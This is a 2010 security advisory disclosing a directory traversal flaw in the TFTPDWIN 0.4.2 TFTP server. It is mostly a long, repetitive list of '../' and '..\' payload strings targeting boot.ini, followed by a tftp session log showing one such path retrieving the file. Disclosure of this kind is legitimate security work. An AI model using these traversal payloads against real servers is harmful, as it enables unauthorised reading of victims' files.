TFTPDWIN 0.4.2 – Directory Traversal
+------------------------------------------------------------------------+ | ....... | | ..''xxxxxxxxxxxxxxx'... | | ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx.. | | ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. | | .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'. | | .'xxxxxxxxxxxxxxxxxxxxx''...... ... .. | | .xxxxxxxxxxxxxxxxxx'... ........ .'. | | 'xxxxxxxxxxxxxxx'...... '. | | 'xxxxxxxxxxxxxx'..'x.. .x. | | .xxxxxxxxxxxx'...'.. ... .' | | 'xxxxxxxxx'.. . .. .x. | | xxxxxxx'. .. x. | | xxxx'. .... x x. | | 'x'. ...'xxxxxxx'. x .x. | | .x'. .'xxxxxxxxxxxxxx. '' .' | | .xx. .'xxxxxxxxxxxxxxxx. .'xx'''. .' | | .xx.. 'xxxxxxxxxxxxxxxx' .'xxxxxxxxx''. | | .'xx'. .'xxxxxxxxxxxxxxx. ..'xxxxxxxxxxxx' | | .xxx'. .xxxxxxxxxxxx'. .'xxxxxxxxxxxxxx'. | | .xxxx'.'xxxxxxxxx'. xxx'xxxxxxxxxx'. | | .'xxxxxxx'.... ...xxxxxxx'. | | ..'xxxxx'.. ..xxxxx'.. | | ....'xx'.....''''... | | | | CubilFelino Security Research Labs | | proudly presents... | +------------------------------------------------------------------------+ Author: chr1x (chr1x@sectester.net) Date: August 30, 2010 Affected operating system/software, including full version details * TFTP Server TFTPDWIN v0.4.2, Tested on Windows XP PRO SP3 Download: http://www.prosysinfo.webpark.pl/sciagnij.html http://www.versiontracker.com/php/dlpage.php?id=10417389&db=win&pid=10417389&kind=&lnk=http://www.prosysinfo.com.pl/tftpserver/tftpdwin.exe How the vulnerability can be reproduced * Please, use the strings shown below to reproduce the issue. [*] Testing Path: ../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: ..\..\..\..\..\..\..\..\boot.ini <- Vulnerable string!! [*] Testing Path: \../boot.ini <- Vulnerable string!! [*] Testing Path: \../\../boot.ini <- Vulnerable string!! [*] Testing Path: \../\../\../boot.ini <- Vulnerable string!! [*] Testing Path: \../\../\../\../boot.ini <- Vulnerable string!! [*] Testing Path: \../\../\../\../\../boot.ini <- Vulnerable string!! [*] Testing Path: \../\../\../\../\../\../boot.ini <- Vulnerable string!! [*] Testing Path: \../\../\../\../\../\../\../boot.ini <- Vulnerable string!! [*] Testing Path: \../\../\../\../\../\../\../\../boot.ini <- Vulnerable string!! [*] Testing Path: /..\/..\boot.ini <- Vulnerable string!! [*] Testing Path: /..\/..\/..\boot.ini <- Vulnerable string!! [*] Testing Path: /..\/..\/..\/..\boot.ini <- Vulnerable string!! [*] Testing Path: /..\/..\/..\/..\/..\boot.ini <- Vulnerable string!! [*] Testing Path: /..\/..\/..\/..\/..\/..\boot.ini <- Vulnerable string!! [*] Testing Path: /..\/..\/..\/..\/..\/..\/..\boot.ini <- Vulnerable string!! [*] Testing Path: /..\/..\/..\/..\/..\/..\/..\/..\boot.ini <- Vulnerable string!! Confirmation Log: root@olovely:/# tftp 192.168.1.53 tftp> connect (to) 192.168.1.53 tftp> ascii tftp> get (files) ..\..\..\..\..\..\..\boot.ini Received 211 bytes in 0.0 seconds tftp> What impact the vulnerability has on the vulnerable system Any additional details that might help in the verification process * High, since when exploiting the vulnerability the attacker is able to get full access to the victim filesystem. |